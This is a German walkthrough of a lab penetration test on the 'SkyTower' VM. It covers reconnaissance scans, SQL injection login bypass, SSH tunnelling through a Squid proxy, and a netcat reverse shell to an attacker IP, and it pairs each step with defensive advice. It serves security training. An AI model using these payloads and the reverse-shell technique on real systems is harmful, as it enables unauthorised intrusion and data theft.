Analyse: Der erste Schritt in der Reconnaissance-Phase ist die Identifizierung von aktiven Hosts im lokalen Netzwerksegment. `arp-scan -l` sendet ARP-Anfragen an alle möglichen Adressen im lokalen Netz und listet die Antworten auf.
Bewertung: Dieser Befehl ist essenziell, um schnell die IP-Adresse des Zielsystems herauszufinden, ohne auf langsamere Methoden wie Ping-Sweeps angewiesen zu sein. Die Ausgabe zeigt uns die IP-Adresse `192.168.2.135` und die zugehörige MAC-Adresse, die auf eine VirtualBox-VM hinweist.
Empfehlung (Offensiv): Diese IP wird das primäre Ziel für weitere Scans.
Empfehlung (Defensiv): Netzwerksegmentierung und Monitoring von ARP-Traffic können helfen, solche Scans zu erkennen. DHCP-Snooping kann ARP-Spoofing verhindern, aber nicht das Scannen selbst.
192.168.2.135 08:00:27:f5:05:8a PCS Systemtechnik GmbH
Analyse: Um die spätere Ansprache des Ziels zu vereinfachen und die Lesbarkeit von Befehlen und Berichten zu verbessern, wird der `/etc/hosts`-Datei auf dem Angreifer-System ein Eintrag hinzugefügt. Dies mappt die IP-Adresse `192.168.2.135` auf den Hostnamen `skytower.vln`. `vi` ist ein Texteditor, der hier zur Bearbeitung der Datei verwendet wird.
Bewertung: Dies ist eine bewährte Praxis ("Good Practice"), die die Interaktion mit dem Ziel erleichtert, besonders wenn Webserver oder andere Dienste über Hostnamen angesprochen werden müssen (z.B. bei virtuellen Hosts).
Empfehlung (Offensiv): Immer Hostnamen verwenden, wenn möglich, um Konfigurationsfehler auf dem Ziel (z.B. VHost-Routing) leichter zu identifizieren.
Empfehlung (Defensiv): Diese Aktion findet auf dem Angreifer-System statt und hat keine direkten defensiven Implikationen für das Zielsystem.
192.168.2.135 skytower.vln
Analyse: Dies ist ein umfassender Nmap-Scan gegen das Ziel `skytower.vln` (192.168.2.135).
-sS
: Führt einen TCP SYN Scan (Stealth Scan) durch, der oft weniger auffällig ist als ein voller TCP Connect Scan.-sC
: Führt Standard-Nmap-Skripte aus, um zusätzliche Informationen zu sammeln und häufige Schwachstellen zu prüfen.-sV
: Versucht, die Versionen der laufenden Dienste zu ermitteln.-T5
: Setzt das Timing-Template auf "insane" für einen sehr schnellen Scan (kann ungenau sein oder IDS/IPS alarmieren).-A
: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute.-p-
: Scannt alle 65535 TCP-Ports.Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-16 00:36 CEST Nmap scan report for skytower.vln (192.168.2.135) Host is up (0.00014s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.2.22 (Debian) 3128/tcp open http-proxy Squid http proxy 3.1.20 |_http-title: ERROR: The requested URL could not be retrieved | http-open-proxy: Potentially OPEN proxy. |_Methods supported: GET HEAD |_http-server-header: squid/3.1.20 MAC Address: 08:00:27:F5:05:8A (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.16 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.14 ms skytower.vln (192.168.2.135) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.47 seconds
Analyse: Dieser Befehl wiederholt den vorherigen Nmap-Scan, filtert die Ausgabe jedoch sofort mit `grep open`, um nur die Zeilen anzuzeigen, die offene Ports enthalten.
Bewertung: Dies ist eine schnelle Methode, um die Ergebnisse eines langen Nmap-Scans auf die relevantesten Informationen (offene Ports) zu reduzieren. Es bestätigt die offenen Ports 80 (HTTP) und 3128 (HTTP-Proxy).
Empfehlung (Offensiv): Konzentration auf die Dienste auf Port 80 und 3128.
Empfehlung (Defensiv): Regelmäßige Überprüfung offener Ports und Schließen nicht benötigter Dienste ist eine grundlegende Sicherheitsmaßnahme.
80/tcp open http Apache httpd 2.2.22 ((Debian)) 3128/tcp open http-proxy Squid http proxy 3.1.20 | http-open-proxy: Potentially OPEN proxy.
Analyse: Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien/Verzeichnisse prüft. Der Befehl `nikto -h 192.168.2.135` scannt den Webserver auf Port 80 der Ziel-IP.
Bewertung: Nikto liefert wertvolle Informationen:
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.135 + Target Hostname: 192.168.2.135 + Target Port: 80 + Start Time: 2023-07-16 00:37:03 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.2.22 (Debian) + /: Server may leak inodes via ETags, header found with file /, inode: 87, size: 1136, mtime: Fri Jun 20 13:23:36 2014. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /index: Uncommon header 'tcn' found, with contents: list. + /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275 + /login.php: Retrieved x-powered-by header: PHP/5.4.4-14+deb7u9. + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS . + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /login.php: Admin login page/section found. + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8909 requests: 0 error(s) and 11 item(s) reported on remote host + End Time: 2023-07-16 00:37:24 (GMT2) (21 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu entdecken (Directory/File Brute-Forcing).
dir
: Gibt den Modus für das Directory/File Busting an.-u http://skytower.vln
: Die Ziel-URL.-x txt,php,...
: Eine lange Liste von Dateiendungen, nach denen gesucht werden soll.-w "/usr/share/seclists/..."
: Der Pfad zur Wortliste, die für das Brute-Forcing verwendet wird (hier eine mittelgroße Liste von SecLists).-b '403,404'
: Statuscodes, die ignoriert/ausgeblendet werden sollen (Forbidden, Not Found).-e
: Erweiterter Modus, zeigt die vollständige URL an.--no-error
: Verhindert die Anzeige von Verbindungsfehlern.=============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://skytower.vln [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.5 [+] Extensions: php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,txt [+] Expanded: true [+] Timeout: 10s [+] Use slash: false [+] Follow Redirect: false [+] Quiet: false [+] No error: true =============================================================== 2023/07/15 22:39:04 Starting gobuster in directory enumeration mode =============================================================== http://skytower.vln/index (Status: 200) [Size: 1136] http://skytower.vln/index.html (Status: 200) [Size: 1136] http://skytower.vln/login.php (Status: 200) [Size: 21] http://skytower.vln/background (Status: 200) [Size: 2572609] http://skytower.vln/background.jpg (Status: 200) [Size: 2572609] =============================================================== 2023/07/15 22:41:11 Finished ===============================================================
Analyse: Der Pentester ruft die `login.php` Seite im Browser auf (oder simuliert dies). Die Seite zeigt "Login Failed" und im HTTP-Header wird `X-Powered-By: PHP/5.4.4-14+deb7u9` zurückgegeben.
Bewertung: Dies bestätigt, dass die Seite existiert und eine Login-Funktionalität bereitstellt. Die PHP-Version ist extrem veraltet und bekannt für zahlreiche Schwachstellen. Die Standardmeldung "Login Failed" deutet darauf hin, dass noch kein Login-Versuch unternommen wurde oder dieser fehlgeschlagen ist.
Empfehlung (Offensiv): Die Login-Seite auf Schwachstellen prüfen, insbesondere SQL-Injection, Cross-Site Scripting (XSS), Brute-Force-Angriffe und auf bekannte Schwachstellen der PHP-Version.
Empfehlung (Defensiv): PHP dringend aktualisieren. Eingabevalidierung und parametrisierte Abfragen (Prepared Statements) verwenden, um SQL-Injection zu verhindern. Implementierung von Account-Lockout-Mechanismen und Captchas gegen Brute-Force-Angriffe. Output-Encoding gegen XSS.
http://skytower.vln/login.php Login Failed X-Powered-By: PHP/5.4.4-14+deb7u9
Analyse: Der Pentester versucht, den Squid-Proxy auf Port 3128 direkt über den Browser oder ein Tool wie `curl` anzusprechen.
Bewertung: Der Proxy liefert eine Fehlermeldung "Invalid URL". Dies liegt daran, dass ein Proxy erwartet, dass man ihm eine vollständige Ziel-URL übergibt (z.B. `http://example.com`), die er dann abruft. Ein direkter Aufruf des Proxys selbst führt zu diesem Fehler. Die Fehlermeldung bestätigt jedoch, dass der Squid-Proxy (Version 3.1.20) läuft und nennt `webmaster` als Kontakt. Der Hostname `localhost` in der Fehlermeldung (`Generated ... by localhost (squid/3.1.20)`) deutet darauf hin, dass der Proxy möglicherweise nur Anfragen für `localhost` auflösen kann oder so konfiguriert ist.
Empfehlung (Offensiv): Den Proxy verwenden, um auf andere Dienste zuzugreifen, insbesondere auf Dienste, die nur von `localhost` auf dem Zielsystem erreichbar sind (z.B. interne Webanwendungen, Datenbanken). Die Proxy-Funktionalität testen, um zu sehen, welche Art von Anfragen (HTTP, HTTPS, FTP) und welche Ziele erlaubt sind.
Empfehlung (Defensiv): Den Squid-Proxy aktualisieren. Den Zugriff auf den Proxy stark einschränken (z.B. nur aus bestimmten Netzwerken, nur für authentifizierte Benutzer). Die erlaubten Ziel-Domains (ACLs - Access Control Lists) konfigurieren, um Missbrauch zu verhindern. Fehlermeldungen sollten so generisch wie möglich sein und keine Versionsinformationen oder interne Hostnamen preisgeben.
http://skytower.vln:3128/ ERROR The requested URL could not be retrieved The following error was encountered while trying to retrieve the URL: / Invalid URL Some aspect of the requested URL is incorrect. Some possible problems are: Missing or incorrect access protocol (should be "http://" or similar) Missing hostname Illegal double-escape in the URL-Path Illegal character in hostname; underscores are not allowed. Your cache administrator is webmaster. Generated Sat, 15 Jul 2023 22:41:58 GMT by localhost (squid/3.1.20)
Analyse: Der `curl`-Befehl wird verwendet, um eine HTTP-Anfrage an `http://skytower.vln` zu senden, wobei der auf Port 3128 laufende Squid-Proxy als Vermittler genutzt wird (`--proxy http://skytower.vln:3128/`).
Bewertung: Der Proxy gibt einen `ERR_DNS_FAIL`-Fehler zurück. Dies bedeutet, dass der Squid-Proxy den Hostnamen `skytower.vln` nicht auflösen konnte. Das ist interessant, da der Proxy auf demselben System läuft, das wir über `skytower.vln` erreichen. Es deutet darauf hin, dass der Proxy-Server selbst möglicherweise nicht die lokale `/etc/hosts`-Datei verwendet oder eine andere DNS-Konfiguration hat. Die Fehlermeldung enthält auch die interne IP des Angreifers (`ClientIP: 192.168.2.114`) und die angefragte URL/Host.
Empfehlung (Offensiv): Versuchen, den Proxy zu verwenden, um andere interne oder externe Hosts anzusprechen. Testen, ob der Proxy IP-Adressen anstelle von Hostnamen akzeptiert. Prüfen, ob der Proxy für SSRF (Server-Side Request Forgery)-Angriffe missbraucht werden kann, um interne Systeme zu scannen oder darauf zuzugreifen.
Empfehlung (Defensiv): Die DNS-Konfiguration des Proxys überprüfen und sicherstellen, dass er nur erlaubte Namen auflösen kann. Fehlermeldungen sollten minimiert werden und keine internen IPs oder Details zur Anfrage enthalten. Den Proxy-Zugriff generell einschränken.
This means that the cache was not able to resolve the hostname presented in the URL. Check if the address is correct. Your cache administrator is webmaster Generated Sat, 15 Jul 2023 22:43:18 GMT by localhost (squid/3.1.20)
Schwachstelle: SQL Injection in der Login-Funktionalität (`login.php`).
Ziel des POC: Nachweis, dass durch manipulierte Eingaben in das Login-Formular die SQL-Abfrage umgangen und unautorisierter Zugriff auf Informationen erlangt werden kann.
Voraussetzungen: Zugriff auf die Webseite `http://skytower.vln/login.php`. Ein Tool wie `curl` oder ein Webbrowser mit Entwicklertools, um POST-Requests zu senden.
Analyse: Es wird versucht, eine einfache SQL-Injection-Payload ' or 1=1--
(wahrscheinlich im Passwortfeld, möglicherweise auch im Benutzernamenfeld) an `login.php` zu senden. Das Hochkomma '
schließt den ursprünglichen String in der SQL-Abfrage. or 1=1
fügt eine Bedingung hinzu, die immer wahr ist. --
(mit einem Leerzeichen danach oft erforderlich) kommentiert den Rest der ursprünglichen SQL-Abfrage aus.
Bewertung: Der Server antwortet mit einer detaillierten MySQL-Fehlermeldung: `You have an error in your SQL syntax; check the manual... near '11' and password='' 11'' at line 1`. Dies ist ein klares Anzeichen für eine SQL-Injection-Schwachstelle. Die Fehlermeldung selbst ist sehr aufschlussreich, da sie Teile der ursprünglichen Abfrage (`password=''`) und die eingefügte Payload (`11`) zeigt. Die "11" statt "1=1" deutet darauf hin, dass die Eingabe möglicherweise weiter verarbeitet oder gefiltert wird, aber die grundlegende Schwachstelle ist bestätigt.
Empfehlung (Offensiv): Die Fehlermeldung nutzen, um die Struktur der SQL-Abfrage besser zu verstehen und die Payload anzupassen, um die Authentifizierung zu umgehen oder Daten auszulesen (z.B. mit UNION-basierten Angriffen).
Empfehlung (Defensiv): Detaillierte Fehlermeldungen in Produktionsumgebungen unbedingt deaktivieren (`display_errors = Off` in `php.ini`). Stattdessen generische Fehlermeldungen anzeigen und Fehler nur intern loggen. Parametrisierte Abfragen (Prepared Statements) verwenden, um SQL-Injection grundsätzlich zu verhindern. Eingaben validieren und sanitisieren.
http://skytower.vln/login.php (Payload: 'or 1=1--) There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '11' and password='' 11'' at line 1]
Analyse: Eine alternative SQL-Injection-Payload ' || 1=1#
wird verwendet. '
schließt wieder den String. ||
ist der logische OR-Operator in SQL (manchmal auch `OR`). 1=1
ist immer wahr. #
ist ein weiteres Zeichen, um den Rest der Abfrage auszukommentieren (ähnlich wie `--`).
Bewertung: Dieser Versuch ist erfolgreich! Statt einer Fehlermeldung oder "Login Failed" wird die Nachricht "Welcome john@skytech.com" angezeigt. Darunter folgt eine Nachricht anscheinend für den Benutzer John, die Zugangsdaten für einen SSH-Zugang enthält: Username: `john`, Password: `hereisjohn`. Dies ist ein kritischer Informationsleak, der durch die SQL-Injection ermöglicht wurde.
Ergebnis des POC: Die SQL-Injection-Schwachstelle wurde erfolgreich ausgenutzt, um die Authentifizierung zu umgehen und sensible Informationen (SSH-Zugangsdaten) zu extrahieren.
Risikobewertung: Hoch. Die Schwachstelle ermöglichte die Kompromittierung eines Benutzerkontos und den Zugriff auf weitere Systeme (SSH-Server).
Empfehlung (Offensiv): Die erbeuteten Zugangsdaten (`john`:`hereisjohn`) verwenden, um via SSH auf das System zuzugreifen.
Empfehlung (Defensiv): Sofortige Behebung der SQL-Injection-Schwachstelle durch Verwendung von Prepared Statements. Überprüfung des Codes auf weitere ähnliche Schwachstellen. Änderung des kompromittierten Passworts (`hereisjohn`) und aller anderen potenziell betroffenen Passwörter. Implementierung von Sicherheitsmaßnahmen wie WAFs. Überprüfung, warum sensible Informationen wie SSH-Passwörter direkt in der Webanwendung angezeigt werden.
http://skytower.vln/login.php (Payload: ' || 1=1#)
Welcome john@skytech.com
As you may know, SkyTech has ceased all international operations.
To all our long term employees, we wish to convey our thanks for your
dedication and hard work.
Unfortunately, all international contracts, including yours have been
terminated.
The remainder of your contract and retirement fund, $2 ,has been payed
out in full to a secure account. For security reasons, you must login to
the SkyTech server via SSH to access the account details.
Username: john
Password: hereisjohn
We wish you the best of luck in your future endeavors.
Analyse: Da der Nmap-Scan zeigte, dass Port 22 (SSH) gefiltert ist, der Squid-Proxy aber offen ist, wird versucht, den SSH-Zugriff über den Proxy zu tunneln. `proxytunnel` ist ein Werkzeug, das genau dies ermöglicht.
-p 192.168.2.135:3128
: Gibt den Proxy-Server und Port an.-d 127.0.0.1:22
: Gibt das Ziel an, zu dem der Proxy die Verbindung herstellen soll (hier der SSH-Dienst auf demselben Server, also `127.0.0.1:22` aus Sicht des Proxys).-a 1234
: Öffnet einen lokalen Port (`1234`) auf dem Angreifer-System, der als Eingangspunkt für den Tunnel dient.
Analyse: Mit dem aktiven `proxytunnel` wird nun versucht, sich per SSH als Benutzer `john` zu verbinden. Das Ziel ist `127.0.0.1` (das lokale Ende des Tunnels) auf Port `1234` (der Port, den `proxytunnel` geöffnet hat).
Bewertung: Die Verbindung wird aufgebaut. SSH fragt nach Bestätigung des Host-Schlüssels (da es die erste Verbindung ist) und anschließend nach dem Passwort. Das zuvor durch SQL-Injection erbeutete Passwort `hereisjohn` wird eingegeben. Der Login ist erfolgreich, aber die Sitzung wird sofort wieder geschlossen ("Connection to 127.0.0.1 closed."). Die Willkommensnachricht "Funds have been withdrawn" deutet darauf hin, dass möglicherweise ein Skript oder eine Shell-Einschränkung aktiv ist, die nur eine bestimmte Aktion erlaubt oder die Sitzung nach kurzer Zeit beendet.
Empfehlung (Offensiv): Untersuchen, warum die Verbindung sofort geschlossen wird. Versuchen, direkt einen Befehl bei der SSH-Verbindung anzugeben (z.B. `ssh user@host command`), um die Standard-Login-Shell zu umgehen. Versuchen, eine interaktive Shell wie `/bin/bash` explizit anzufordern.
Empfehlung (Defensiv): Die Konfiguration der Benutzer-Shells und eventueller ForceCommand-Einstellungen in der SSH-Konfiguration (`sshd_config`) überprüfen. Sicherstellen, dass Benutzer nur die benötigten Berechtigungen und Shell-Zugriffe haben. Das kompromittierte Passwort ändern.
The authenticity of host '[127.0.0.1]:1234 ([127.0.0.1]:1234)' can't be established.
ECDSA key fingerprint is SHA256:QYZqyNNW/Z81N86urjCUIrTBvJ06U9XDDzNv91DYaGc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:1234' (ECDSA) to the list of known hosts.
john@127.0.0.1's password: hereisjohn
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 20 07:41:08 2014
Funds have been withdrawn
Connection to 127.0.0.1 closed.
Analyse: Basierend auf der vorherigen Beobachtung wird nun versucht, direkt beim SSH-Login eine interaktive Shell (`/bin/bash`) anzufordern. Dies soll die Standard-Login-Prozedur umgehen, die die Verbindung sofort beendet hat.
Bewertung: Der erste Versuch schlägt fehl ("Permission denied"). Es ist unklar, warum - vielleicht wurde das Passwort falsch eingegeben, oder es gibt eine zusätzliche Einschränkung. Beim zweiten Versuch (Passwort erneut eingegeben) klappt es! Der Pentester erhält eine Shell als Benutzer `john`. Die Befehle `id` und `ls -la` bestätigen den Benutzerkontext (`uid=1000(john)`) und zeigen den Inhalt des Home-Verzeichnisses von John an.
Ergebnis: Erfolgreicher Initial Access! Eine interaktive Shell auf dem Zielsystem als Benutzer `john` wurde erlangt.
Empfehlung (Offensiv): Das System weiter enumerieren: Betriebssystem-Version, installierte Software, Benutzer, Berechtigungen (insbesondere SUID/GUID-Dateien, sudo-Rechte), Netzwerkkonfiguration, laufende Prozesse, Cronjobs etc. Nach Möglichkeiten zur Privilegieneskalation suchen.
Empfehlung (Defensiv): Untersuchen, warum der erste Login-Versuch mit `/bin/bash` fehlschlug. Die SSH-Konfiguration und PAM-Module (Pluggable Authentication Modules) überprüfen. Sicherstellen, dass Benutzer nur die minimal notwendigen Rechte haben. Intrusion Detection auf dem Host aktivieren, um ungewöhnliche Aktivitäten nach dem Login zu erkennen.
john@127.0.0.1's password:
Permission denied, please try again.
john@127.0.0.1's password: hereisjohn
uid=1000(john) gid=1000(john) groups=1000(john)
total 24 drwxr-x--- 2 john john 4096 Jun 20 2014 . drwxr-xr-x 5 root root 4096 Jun 20 2014 .. -rw------- 1 john john 7 Jun 20 2014 .bash_history -rw-r--r-- 1 john john 220 Jun 20 2014 .bash_logout -rw-r--r-- 1 john john 3437 Jun 20 2014 .bashrc -rw-r--r-- 1 john john 675 Jun 20 2014 .profile
Analyse: Der Pentester prüft, ob das `nc` (netcat) Tool auf dem Zielsystem verfügbar ist und wo es sich befindet.
Bewertung: `which nc` gibt `/bin/nc` zurück. Netcat ist vorhanden. Dies ist nützlich, da `nc` oft für den Aufbau von Reverse Shells oder zum Übertragen von Dateien verwendet wird.
Empfehlung (Offensiv): Netcat für eine stabilere Reverse Shell oder zum Exfiltrieren/Infiltrieren von Daten verwenden.
Empfehlung (Defensiv): Die Installation von Netzwerk-Tools wie `netcat` auf Servern einschränken, wenn sie nicht für den normalen Betrieb benötigt werden. Host-basierte Firewalls können ausgehende Verbindungen von unerwarteten Prozessen blockieren.
/bin/nc
Analyse: Auf dem Angreifer-System (`root@cycat`) wird ein Netcat-Listener auf Port 5555 gestartet (`nc -lvnp 5555`). Er wartet auf eingehende Verbindungen.
Bewertung: Dies bereitet den Empfang einer Reverse Shell vor.
Empfehlung (Offensiv): Sicherstellen, dass die Firewall auf dem Angreifer-System eingehende Verbindungen auf Port 5555 erlaubt.
Empfehlung (Defensiv): Nicht direkt anwendbar auf das Zielsystem.
listening on [any] 5555 ...
Analyse: Auf dem Zielsystem (in der Shell als `john`) wird `nc` verwendet, um eine Verbindung zum Angreifer-System (`192.168.2.114` auf Port `5555`) herzustellen und die Standard-Ein/Ausgabe der Bash-Shell (`/bin/bash`) an diese Verbindung zu binden (`-e /bin/bash`).
Bewertung: Dies ist ein klassischer Reverse-Shell-Befehl. Er stellt eine ausgehende Verbindung vom kompromittierten System zum Angreifer her und gibt dem Angreifer eine interaktive Shell.
Empfehlung (Offensiv): Die nun auf dem Listener (siehe vorheriger Schritt) empfangene Shell nutzen. Oft ist es sinnvoll, die Shell mit Python oder `script` zu "stabilisieren" (für Funktionalität wie Tab-Completion, History etc.).
Empfehlung (Defensiv): Ausgehende Verbindungen vom Server auf das Notwendigste beschränken (Egress Filtering). Die Verwendung von `nc -e` kann durch AppArmor, SELinux oder andere Host-basierte Kontrollen verhindert werden. Prozess-Monitoring kann das Starten von Shells durch unerwartete Prozesse erkennen.
Analyse: Die Ausgabe auf dem Netcat-Listener des Angreifers. Sie zeigt, dass eine Verbindung vom Zielsystem (`192.168.2.135`, Port 45500) eingegangen ist.
Bewertung: Fantastisch! Die Reverse Shell wurde erfolgreich etabliert. Der Angreifer hat nun eine interaktive Shell auf dem Zielsystem als Benutzer `john` über Netcat, was oft stabiler ist als die direkte SSH-Shell, die zuvor Probleme machte.
Empfehlung (Offensiv): Mit der Enumeration und Suche nach Privilegieneskalationsvektoren fortfahren.
Empfehlung (Defensiv): Siehe vorherige defensive Empfehlung zu Reverse Shells (Egress Filtering, HIDS, etc.).
listening on [any] 5555 ... connect to [192.168.2.114] from (UNKNOWN) [192.168.2.135] 45500
Analyse: Innerhalb der Reverse Shell wechselt der Pentester in das Webserver-Verzeichnis `/var/www` und listet dessen Inhalt auf.
Bewertung: Es finden sich die bereits bekannten Dateien `background.jpg`, `index.html` und `login.php`. Zusätzlich gibt es eine `background2.jpg`. Dies bestätigt den Web-Root-Pfad.
Empfehlung (Offensiv): Den Inhalt von `login.php` untersuchen, um die SQL-Abfrage und mögliche weitere Schwachstellen zu verstehen. Prüfen, ob Schreibrechte im Web-Verzeichnis bestehen.
Empfehlung (Defensiv): Sicherstellen, dass Webserver-Prozesse und Benutzer wie `john` keine unnötigen Lese- oder Schreibrechte außerhalb ihrer vorgesehenen Verzeichnisse haben.
background2.jpg background.jpg index.html login.php
Analyse: Der Inhalt der Datei `login.php` wird ausgegeben.
Bewertung: Der Code-Ausschnitt zeigt, wie die Datenbankverbindung hergestellt wird: `new mysqli('localhost', 'root', 'root', 'SkyTech');`. Dies ist ein kritischer Fund! Die Anwendung verbindet sich mit der lokalen MySQL-Datenbank als Benutzer `root` mit dem Passwort `root`. Dies sind die Zugangsdaten für den Datenbank-Root-Benutzer.
Empfehlung (Offensiv): Versuchen, sich direkt mit diesen Zugangsdaten (`root`:`root`) auf dem MySQL-Server anzumelden. Datenbanken und Tabellen auf weitere sensible Informationen oder Möglichkeiten zur Codeausführung (z.B. UDFs - User Defined Functions) untersuchen.
Empfehlung (Defensiv): Niemals Hardcoded Credentials im Quellcode speichern! Datenbank-Zugangsdaten sollten in separaten Konfigurationsdateien mit restriktiven Berechtigungen liegen. Dem Webserver-Prozess bzw. der Anwendung sollte ein dedizierter Datenbankbenutzer mit minimalen Rechten zugewiesen werden, anstatt den `root`-Benutzer zu verwenden. Das Passwort `root` ist extrem unsicher und muss sofort geändert werden.
root', 'SkyTech'); if($db->connect_errno > 0){ die('Unable to connect to database [' . $db->connect_error . ']'); } // ... rest of the code ... ?>
Analyse: Der Pentester wechselt zurück in Johns Home-Verzeichnis und listet den Inhalt detailliert auf. Anschließend wird versucht, die `.bash_history` anzuzeigen und ein `.ssh`-Verzeichnis zu erstellen.
Bewertung: Die `ls -la`-Ausgabe ist identisch zur vorherigen. Der Versuch, `.bash_history` zu lesen, gibt einen Fehler zurück (implizit, da der Befehl fehlschlägt und `ls -la` erneut ausgeführt wird). Der Versuch, ein `.ssh`-Verzeichnis zu erstellen, schlägt mit "No space left on device" fehl. Dies ist eine wichtige Information: Das Dateisystem, auf dem sich Johns Home-Verzeichnis befindet, ist voll. Dies könnte weitere Aktionen einschränken.
Empfehlung (Offensiv): Nach anderen beschreibbaren Verzeichnissen suchen (z.B. `/tmp`, `/var/tmp`, `/dev/shm`). Den Grund für den vollen Speicherplatz untersuchen (könnte ein Log-File oder eine DoS-Attacke sein).
Empfehlung (Defensiv): Speicherplatz-Monitoring einrichten, um volle Dateisysteme zu erkennen und zu beheben. Sicherstellen, dass Benutzer keine Möglichkeit haben, durch exzessives Schreiben von Daten das System lahmzulegen (Quotas).
total 24 drwxr-x--- 2 john john 4096 Jun 20 2014 . drwxr-xr-x 5 root root 4096 Jun 20 2014 .. -rw------- 1 john john 7 Jun 20 2014 .bash_history -rw-r--r-- 1 john john 220 Jun 20 2014 .bash_logout -rw-r--r-- 1 john john 3437 Jun 20 2014 .bashrc -rw-r--r-- 1 john john 675 Jun 20 2014 .profile
mkdir: cannot create directory `.ssh': No space left on device
uid=1000(john) gid=1000(john) groups=1000(john)
Analyse: Es wird geprüft, ob die zentrale Passwortdatei `/etc/passwd` für den Benutzer `john` schreibbar ist.
Bewertung: Die Berechtigungen (`-rw-r--r--`) zeigen, dass nur `root` Schreibzugriff hat. Dies ist die Standardkonfiguration und verhindert einfache Privilegieneskalation durch Manipulation dieser Datei.
Empfehlung (Offensiv): Nach anderen Fehlkonfigurationen suchen (SUID-Binaries, sudo-Regeln, Cronjobs, Kernel-Exploits).
Empfehlung (Defensiv): Regelmäßig die Berechtigungen kritischer Systemdateien überprüfen.
-rw-r--r-- 1 root root 1003 Jun 20 2014 /etc/passwd
Analyse: Der `find`-Befehl wird verwendet, um nach weltweit beschreibbaren Dateien und Verzeichnissen zu suchen, beginnend vom Root-Verzeichnis (`/`).
/
: Startpunkt der Suche.-writable
: Sucht nach Dateien/Verzeichnissen, auf die der aktuelle Benutzer (john) Schreibzugriff hat.2>/dev/null
: Leitet Fehlermeldungen (wie "Permission denied" beim Zugriff auf nicht lesbare Verzeichnisse) ins Nichts um, um die Ausgabe sauber zu halten./tmp /dev/log /dev/shm /proc/2941/fd/4 /proc/2941/sched /proc/2941/autogroup /proc/2941/comm /proc/2941/mem /proc/2941/clear_refs /proc/2941/attr/current /proc/2941/attr/exec /proc/2941/attr/fscreate /proc/2941/attr/keycreate /proc/2941/attr/sockcreate /proc/2941/oom_adj /proc/2941/oom_score_adj /proc/2941/loginuid /proc/2941/coredump_filter
Analyse: Der Pentester versucht nun, sich per SSH als Benutzerin `sara` anzumelden, wiederum über den `proxytunnel` auf Port `1234`. Es wird direkt `/bin/bash` angefordert.
Bewertung: Es ist unklar, woher die Information über den Benutzer `sara` oder ihr Passwort stammt. Im vorherigen Text gab es keine Hinweise darauf. Möglicherweise wurde dies durch weitere Enumeration (z.B. Auslesen von `/etc/passwd`, was aber nicht gezeigt wurde) oder Raten herausgefunden. Direkt nach der Passwortabfrage erscheinen die Wörter `ihatethisjob` und `senseable`. Es ist wahrscheinlich, dass eines davon (oder eine Kombination) das Passwort ist. Der Login ist erfolgreich, `id` bestätigt `uid=1001(sara)`.
Annahme: Das Passwort für `sara` ist `ihatethisjob` oder `senseable`. Dies ist eine Lücke in der Dokumentation des Berichts.
Empfehlung (Offensiv): Die Rechte des Benutzers `sara` prüfen (`sudo -l`).
Empfehlung (Defensiv): Sicherstellen, dass alle Schritte im Pentest dokumentiert werden, einschließlich der Informationsgewinnung. Starke, einzigartige Passwörter für alle Benutzer erzwingen.
sara@127.0.0.1's password: ***
uid=1001(sara) gid=1001(sara) groups=1001(sara)
ihatethisjob senseable
Analyse: Als Benutzerin `sara` werden das aktuelle Verzeichnis (`pwd`), der Inhalt (`ls`, `ls -la`) geprüft und die `.bashrc`-Datei gelöscht.
